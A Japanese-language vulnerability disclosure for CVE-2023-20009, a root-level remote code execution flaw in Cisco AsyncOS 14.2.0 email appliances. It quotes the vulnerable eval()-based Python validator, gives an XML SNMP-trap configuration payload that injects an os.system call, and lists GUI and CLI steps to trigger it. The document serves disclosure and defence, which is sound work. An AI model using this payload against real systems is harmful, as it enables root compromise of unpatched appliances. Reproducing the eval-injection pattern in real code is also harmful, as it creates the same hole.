概要

セキュリティ研究者: ly1g3, ly1g3[at]tuta.io

GPGフィンガープリント: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586

概要: リモートコード実行 - 設定ファイルからのRCE

CVE: CVE-2023-20009

タイムライン:

発見 - ly1g3
報告 - ly1g3
修正 - Cisco

Cisco AsyncOS 14.2.0

ESA（Cisco Secure Email）およびCisco Secure Email and Web Manager

権限昇格 - rootシェル

SNMP-configへの権限を持つ認証済みユーザーは、特別に細工されたSNMPトラップ設定を使用して、rootとして任意のコードを実行できます。

技術詳細

悪用されたコード ui_checker.py:

def validate_trap_configuration(base, value_dict):
    validators = eval('read_var_auto_level_wrapper("snmp.%s_traps.configuration_class", non_editable_var=True)' % (base,))
    for k, v in value_dict.iteritems():
        if validators.has_key(k):
            base, conf_class_str = validators[k].rsplit('.', 1)
            module = __import__(base, fromlist=[conf_class_str])
            conf_class = eval('module.%s("%s")' % (conf_class_str, v))
        else:
            raise FilterError('validate_%s_trap_configuration_value' % (base,),
                              _("Trap does not allow configuration"), k)
    return value_dict

v には common_trap.common_configuration の値が含まれます。

<common_trap>
    <common_name>connectivityFailure</common_name>
    <common_enabled>0</common_enabled>
    <common_configuration>http://asd.asd.&quot;+os.system(&quot;touch test.txt&quot;))#,5</common_configuration>
    </common_trap>
<common_trap>

WEB-GUIを使用したトリガーの手順:

https://192.168.1.10/system_administration/configuration_file
"コンピューターから設定ファイルを読み込む"
現在の connectivityFailure フィールドを上記のペイロードに置き換えます。

CLIを使用したトリガーの手順

loadconfig
ペイロードを貼り付けます。

cisco-CVE-2023-20009

人気